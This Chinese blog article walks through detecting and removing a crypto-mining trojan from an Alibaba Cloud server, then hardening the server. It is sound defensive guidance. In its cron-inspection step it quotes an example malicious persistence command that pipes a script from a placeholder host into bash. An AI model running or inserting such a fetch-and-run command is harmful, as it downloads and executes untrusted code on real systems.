首页/资讯中心/详情

服务器挖矿木马排查与清除实战：从crypto进程到安全加固

服务器挖矿木马排查与清除实战：从crypto进程到安全加固
📅 发布时间：2026/7/31 11:04:35

1. 项目概述：一次真实的服务器“清剿”行动

那天下午，我像往常一样登录到一台负责跑定时任务的阿里云ECS服务器，准备检查一下日志。登录过程就感觉有点不对劲，SSH连接比平时慢了一拍。进到系统一看，top命令里一个名为crypto的进程赫然在目，CPU占用率长期维持在95%以上，风扇仿佛在机箱里无声地嘶吼。得，中招了，又是挖矿木马。这已经不是第一次遇到了，但这次遇到的crypto，相比过去那些粗暴占用CPU的minerd、xmrig，显得更加隐蔽和“聪明”。它伪装成系统进程，试图融入背景噪音，但异常的资源消耗和网络连接还是暴露了它。对于很多刚上手云服务器的朋友，尤其是通过学生认证免费领取了服务器的同学，安全防护意识相对薄弱，服务器很容易成为黑客“挖矿农场”里的肉鸡。今天，我就结合这次真实的排查和清除经历，手把手带你拆解这种新型挖矿木马的伪装术，并附上完整的清除实录，让你不仅能解决眼前的“CPU 100%”警报，更能建立起一套主动防御的思路。

2. 新型挖矿木马的伪装术与入侵路径分析

2.1 从“暴力破解”到“漏洞利用”的演变

早期的挖矿木马入侵，大多依赖于对SSH（22端口）或RDP（3389端口）的暴力破解。攻击者用庞大的密码字典进行撞库，一旦得手便植入木马。这种手法简单粗暴，但特征明显，容易被安全软件基于失败登录次数进行拦截。而现在，攻击者的手段已经升级。他们更多地利用各种应用漏洞进行入侵，尤其是Web应用漏洞。

常见入侵路径包括：

  1. 未修复的框架/组件漏洞：例如，ThinkPHP、Spring、Log4j2等流行框架或组件的历史高危漏洞，如果服务器上部署的应用未及时打补丁，攻击者就可以直接利用漏洞执行系统命令，从而植入木马。
  2. 弱口令或默认口令的服务：除了SSH，像Redis（6379端口）、MySQL（3306端口）、MongoDB（27017端口）等服务，如果设置弱口令或甚至无密码，攻击者可以直接连接并利用其功能写入计划任务或SSH公钥，获取服务器权限。
  3. 有漏洞的第三方应用/插件：服务器上安装的诸如phpMyAdmin、WordPress插件、各类运维面板等，如果版本老旧存在漏洞，也是极佳的跳板。

这次遇到的crypto木马，根据其相关文件和网络行为反推，极有可能是通过一个存在反序列化漏洞的Java应用潜入的。攻击者不再需要知道你的SSH密码，他们只需要找到一个对外开放的、有缺陷的Web服务入口。

2.2 “crypto”进程的伪装技巧剖析

这个名为crypto的进程，是木马作者精心设计的伪装。它试图让自己看起来像是一个合法的、与加密相关的系统进程。

它的伪装体现在以下几个方面：

  1. 进程名伪装：直接命名为crypto（加密），让人第一眼联想到可能是系统自身的加密服务或某个合法软件的组件，降低了运维人员的警惕性。相比minerd（矿工）这种直白的名字，隐蔽性大大增强。
  2. 文件路径隐藏：木马本体通常被放置在/tmp、/dev/shm、/var/tmp这类临时目录，或者隐藏在/usr/lib、/etc等系统目录的深层子文件夹中，并可能使用.开头的隐藏文件名。
  3. 进程血缘关系伪装：它可能会通过fork或exec的方式，让自己的父进程ID（PPID）指向systemd（PID 1）或sshd等合法系统进程，在简单的ps aux命令输出中，不易察觉异常。
  4. 资源占用平滑：早期的挖矿木马会吃满一个核心。而这个crypto进程会进行“降频”操作，将CPU占用率控制在一定范围（比如80%-98%），避免因长期100%占用而触发更严厉的监控告警。同时，它可能通过nice命令调整自身优先级，避免过于显眼。

注意：不要被进程名迷惑。在Linux系统中，并没有一个广泛存在的、名为crypto的系统核心服务。任何你无法明确识别来源的crypto、kinsing、kdevtmpfsi等高CPU进程，都应立即视为可疑对象。

3. 手把手排查：定位与确认挖矿木马

当发现服务器CPU异常，或者收到阿里云监控的“CPU使用率100%”告警时，不要慌张，按照以下步骤进行系统性排查。

3.1 第一步：快速定位异常进程

登录服务器后，首先使用top或htop命令查看实时进程情况。按Shift + P按CPU排序。

top

重点关注：

  • 持续高CPU占用的进程。
  • 奇怪的进程名：如crypto、kinsing、kdevtmpfsi、xmrig、minerd，或一串随机字符（如axqwe、sdfgh）。
  • 可疑的用户：除了你的常规用户（如root、admin、www）外，出现了陌生的用户运行进程。

记下可疑进程的PID（进程ID）。

3.2 第二步：深挖进程详细信息

使用ps命令结合grep，或者通过/proc文件系统获取更详细的信息。

1. 查看进程的完整命令行：

ps aux | grep <PID> # 或 cat /proc/<PID>/cmdline | xargs -0 echo

这能看出进程启动时的完整命令和路径，是判断其来源的关键。木马路径往往在临时目录。

2. 查看进程的网络连接：

lsof -p <PID> # 或 netstat -antp | grep <PID>

挖矿木马必须与矿池通信。查看它建立了哪些外部网络连接（ESTABLISHED状态），特别是连接到非常用端口（如3333、4444、5555、8080等）或陌生IP地址的连接。可以使用whois或在线威胁情报平台查询该IP是否为已知矿池。

3. 查看进程的文件描述符：

ls -la /proc/<PID>/fd/

这里可以看到进程打开了哪些文件、套接字。有时能发现它正在读取的配置文件或脚本。

3.3 第三步：检查相关的文件和计划任务

挖矿木马为了持久化（即服务器重启后能再次运行），一定会修改系统配置。

1. 检查系统定时任务：

crontab -l # 查看当前用户的计划任务 crontab -l -u root # 查看root用户的计划任务 cat /etc/crontab # 查看系统计划任务 ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ # 检查cron目录

仔细查看是否有指向/tmp、/dev/shm或隐藏目录的脚本或下载命令。例如，curl http://malicious.site/x.sh | bash这种是最常见的持久化手段。

2. 检查系统服务：

systemctl list-units --type=service --state=running | grep -E '(crypto|kinsing|可疑名)' # 检查服务文件 ls -la /etc/systemd/system/ | grep -v \.wants find /etc/systemd/system/ -name "*.service" -type f | xargs grep -l "crypto"

高级木马会将自己注册为systemd服务，实现开机自启。

3. 检查开机启动项：

cat /etc/rc.local ls -la /etc/init.d/

4. 检查用户相关启动文件：

cat ~/.bashrc cat ~/.bash_profile cat ~/.profile

木马可能会在这些文件末尾添加启动命令。

3.4 第四步：确认入侵痕迹与矿池通信

如果通过以上步骤找到了可疑进程、文件、计划任务，并且该进程有对外部可疑IP的通信，那么基本可以判定服务器已被植入挖矿木马。你可以尝试用curl或wget访问一下它连接的IP和端口（注意安全，可在隔离环境测试），有时会返回矿池的欢迎信息或错误页面。

4. 清除实录：彻底剿灭“crypto”木马

确认木马后，清除工作必须干净彻底，防止死灰复燃。请严格按照顺序操作，并建议在操作前对重要数据进行备份。

4.1 第一步：终止恶意进程

首先杀死已发现的挖矿进程。使用kill -9强制终止。

kill -9 <PID>

如果一次杀不死，或者有多个相关进程，可以用pkill：

pkill -f crypto pkill -f kinsing # 根据你发现的进程名来替换

杀死进程后，立即再次运行top，确认CPU使用率是否恢复正常。有时木马有守护进程，主进程被杀死后会被立即重启。

4.2 第二步：清除持久化配置（关键！）

这是清除木马的核心，防止服务器重启后木马复活。

1. 清理计划任务：编辑crontab，删除所有可疑的行。如果不确定，可以清空当前用户的crontab：

crontab -r # 删除当前用户的crontab，谨慎操作，会清空所有定时任务

然后仔细检查并清理系统级的cron目录：

# 仔细查看以下文件，删除恶意行 vim /etc/crontab vim /etc/cron.d/* # 删除cron目录下的恶意脚本 rm -f /etc/cron.hourly/恶意脚本名 rm -f /etc/cron.daily/恶意脚本名

2. 清理systemd服务（如果存在）：

# 停止服务 systemctl stop 恶意服务名.service # 禁用服务 systemctl disable 恶意服务名.service # 删除服务文件 rm -f /etc/systemd/system/恶意服务名.service # 重载systemd配置 systemctl daemon-reload

3. 清理启动脚本：检查并清理/etc/rc.local、/etc/init.d/以及用户家目录下的.bashrc等文件中的恶意命令。

4.3 第三步：删除木马相关文件

根据之前ps aux查到的路径和crontab里执行的脚本路径，彻底删除木马本体和它的组件。

# 切换到木马所在目录（例如/tmp下的隐藏文件） cd /tmp ls -la | grep -E '^d.*\.' # 查找隐藏目录 # 删除木马文件，使用绝对路径更安全 rm -rf /tmp/.crypto_hidden_folder rm -f /dev/shm/crypto_miner rm -f /var/tmp/kinsing

注意：删除前，可以用file命令查看文件类型，或用strings命令查看文件内容，确认是恶意文件。对于极度可疑的二进制文件，不要直接运行。

4.4 第四步：检查与清理其他用户和授权

1. 检查系统用户：

cat /etc/passwd

查看是否有新增的陌生用户，特别是UID为0（root权限）的非标准用户。

2. 检查SSH授权密钥：

cat ~/.ssh/authorized_keys cat /root/.ssh/authorized_keys

删除所有你不认识或来历不明的公钥。这是黑客常用的后门手段。

3. 检查sudoers配置：

visudo # 或 cat /etc/sudoers

确保没有给不明用户或用户组授予不必要的sudo权限。

4.5 第五步：善后与加固

清除木马后，服务器可能仍存在被入侵的漏洞。

1. 更新系统和软件：

# 对于CentOS/RHEL yum update -y # 对于Ubuntu/Debian apt update && apt upgrade -y

更新所有软件包，修复已知漏洞。

2. 修改密码：修改服务器所有用户的密码，特别是root密码和用于远程登录的账户密码，使用高强度密码。

3. 复查运行中的应用：检查服务器上运行的所有Web应用、数据库、中间件，更新到最新版本，修复已知漏洞。关闭不必要的端口和服务。

4. 考虑使用安全工具：

  • Fail2ban：自动屏蔽多次尝试登录失败的IP。
  • 云防火墙/安全组：在阿里云控制台，配置安全组规则，仅开放必要的端口（如80，443，和你的SSH端口），并对SSH端口建议改为非22端口。
  • 入侵检测系统：如AIDE（高级入侵检测环境），可以建立文件完整性校验，当系统文件被篡改时发出警报。

5. 深度防御：构建服务器安全基线

清除一次木马是“治标”，建立有效的安全防护体系才是“治本”。尤其是对于免费或低配的阿里云学生服务器，因其资源有限、所有者安全经验可能不足，更易成为目标。

5.1 最小化暴露面原则

这是服务器安全的第一道防线。暴露的越少，被攻击的面就越小。

  1. 严格配置安全组：在阿里云控制台，进入ECS实例的“安全组”配置。

    • 入方向：默认拒绝所有。只放行绝对必要的端口。例如：
      • Web服务器：仅开放80（HTTP）、443（HTTPS）。
      • SSH管理：仅开放SSH端口（强烈建议修改为1024-65535之间的非22端口），并且将源IP限制为你的办公网络或家庭IP（CIDR格式），千万不要设置为0.0.0.0/0。
    • 出方向：通常可以允许所有，但如果你有严格需求，也可以限制服务器只能访问特定的外部服务（如软件源、API地址）。

  2. 关闭非必要服务：使用netstat -tlnp查看所有监听端口，停止并禁用任何非必需的服务（如不必要的FTP、Telnet、旧版本的RPC服务等）。

5.2 强化身份认证与访问控制

弱口令是通往服务器最快的高速公路。

  1. 禁用root的SSH密码登录：

    • 创建一个具有sudo权限的普通用户（如admin）。
    • 修改SSH配置文件/etc/ssh/sshd_config：
      PermitRootLogin no PasswordAuthentication no # 禁用密码登录，强制使用密钥
    • 重启SSH服务：systemctl restart sshd。
    • 务必在操作前，将你的SSH公钥添加到新用户的~/.ssh/authorized_keys文件中，否则你将无法登录！

  2. 使用SSH密钥对登录：密钥认证比密码安全几个数量级。在本地生成密钥对（ssh-keygen），将公钥上传到服务器。

  3. 为所有服务设置强密码：包括数据库（Redis、MySQL）、Web管理后台（phpMyAdmin）、各类应用的管理员账户等。避免使用默认密码和弱密码。

5.3 建立持续的监控与告警

“看不见”的风险才是最大的风险。

  1. 启用阿里云云监控：免费且基础。为CPU使用率、内存使用率、网络流量设置告警阈值（如CPU持续5分钟>90%）。这样一旦被挖矿，你能第一时间收到短信或邮件告警。

  2. 部署简单的进程监控脚本：可以写一个Shell脚本，定期检查/tmp、/dev/shm目录下是否有新增的可执行文件，或者检查是否有未知进程持续高CPU运行，并通过邮件或Server酱等工具通知自己。

    #!/bin/bash # 监控高CPU进程示例 HIGH_CPU_PROC=$(ps aux --sort=-%cpu | head -n 5 | grep -v “%CPU”) echo “当前高CPU进程：” echo “$HIGH_CPU_PROC” # 这里可以添加逻辑判断，如果发现可疑进程名，则发送告警

  3. 定期检查日志：养成查看/var/log/auth.log（Ubuntu）或/var/log/secure（CentOS）的习惯，关注失败的登录尝试。查看/var/log/cron日志，关注异常的计划任务执行记录。

5.4 应用层安全加固

很多入侵是通过应用漏洞发生的。

  1. 保持所有软件更新：这听起来是老生常谈，但至关重要。定期运行系统更新命令。对于Web应用（如WordPress、ThinkPHP），关注其安全公告，及时更新核心、主题和插件。

  2. 遵循最小权限原则：运行Web应用（如Nginx/PHP）时，使用专门的低权限用户（如www-data,nginx），不要用root。数据库也要为每个应用创建独立的用户和数据库，并赋予最小必要权限。

  3. 使用Web应用防火墙：如果条件允许，可以为你的网站启用阿里云的WAF（Web应用防火墙），它可以有效拦截常见的Web攻击（如SQL注入、XSS、命令执行等），在漏洞被利用前进行阻断。

6. 疑难排查与进阶技巧

在实际对抗中，你可能会遇到更顽固、更隐蔽的木马变种。以下是一些进阶的排查思路和工具。

6.1 当进程“杀不死”或“不断重生”时

这通常意味着有守护进程或计划任务在持续作祟。

  1. 使用systemctl status和ps auxf查看进程树：ps auxf可以以树状形式显示进程父子关系，帮你找到守护进程（父进程）。先杀死父进程，再清理子进程。
  2. 检查/etc/init.d/和/etc/systemd/system/里的所有服务：木马可能注册了多个服务相互守护。使用systemctl list-unit-files --type=service列出所有服务，逐一排查陌生服务。
  3. 使用chkconfig或systemctl is-enabled：查看哪些服务被设置为开机自启，禁用所有可疑服务。
  4. 检查内核模块：极少数高级rootkit会以内核模块形式存在。使用lsmod查看已加载的内核模块，对不认识的模块保持警惕（需结合系统环境判断）。
  5. 终极手段：在单用户模式下清理：如果木马干扰了正常操作，可以重启服务器，在GRUB引导时进入单用户模式（运行级别1），此时大部分服务不启动，可以安全地进行文件清理和配置修复。

6.2 使用专业工具辅助检测

除了系统自带命令，一些开源安全工具能提供更强大的检测能力。

  1. ClamAV：开源杀毒引擎，可以扫描系统中的恶意文件。虽然对Linux上的恶意软件检出率不如Windows平台，但仍可作为辅助手段。

    sudo yum install clamav clamav-update # CentOS sudo freshclam # 更新病毒库 sudo clamscan -r -i / # 扫描整个系统，仅显示被感染文件

  2. Rkhunter (Rootkit Hunter)和Chkrootkit：专门用于检测rootkit和隐藏后门。

    sudo yum install rkhunter # CentOS sudo rkhunter --check

    运行后仔细阅读报告，对“Warning”条目进行调查。

  3. Lynis：一款强大的安全审计工具，可以对系统进行全面的合规性检查和安全扫描，并提供详细的加固建议。

    git clone https://github.com/CISOfy/lynis cd lynis ./lynis audit system

6.3 网络层面的分析与阻断

如果怀疑服务器仍在对外进行恶意通信，可以进行网络层面的分析。

  1. 使用iftop或nethogs：实时查看服务器的网络带宽使用情况，定位是哪个进程在大量上传/下载数据。
  2. 使用tcpdump抓包分析：对可疑端口或IP进行抓包，分析通信内容（需一定的网络知识）。
    sudo tcpdump -i eth0 host <可疑IP> -w capture.pcap
    抓取的pcap文件可以用Wireshark在本地进行更直观的分析。
  3. 在阿里云安全组设置出方向规则：在彻底清理完成前，可以临时在安全组出方向规则中，拒绝服务器对可疑矿池IP或域名的访问，阻断木马的“收益”途径。

清除挖矿木马就像一场系统性的“大扫除”和“堵漏洞”。整个过程的核心思路是：定位 -> 清除 -> 根除 -> 加固。面对crypto这类伪装者，保持警惕、熟悉系统、按步骤操作是关键。这次经历也让我更深刻地意识到，对于任何对外提供服务的服务器，“安全无小事”绝不是一句空话。尤其是现在利用应用漏洞的自动化攻击脚本泛滥，一次未及时修复的漏洞就可能让服务器沦为“矿工”。定期更新、最小权限、严格访问控制、有效监控，这四道防线缺一不可。